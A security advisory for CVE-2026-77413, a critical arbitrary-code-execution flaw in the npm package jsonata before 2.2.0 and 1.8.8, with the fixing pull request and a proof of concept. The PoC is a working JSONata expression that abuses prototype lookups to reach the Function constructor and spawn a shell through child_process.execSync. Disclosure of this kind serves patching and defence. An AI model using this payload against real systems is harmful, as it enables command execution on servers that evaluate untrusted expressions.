critical

CVE-2026-77413

npm · jsonata

Summary

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Severity
critical
EPSS
0.7% (p54)
CWE
CWE-94
Also known as
GHSA-8gq3-vp5j-2grp
Published
2026-08-21
Updated
2026-08-21

Advisory details

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
   __lookupSetter__('__proto__')(constructor);
   __defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
   valueOf().l
)
`);

await expression.evaluate({});

References

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Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.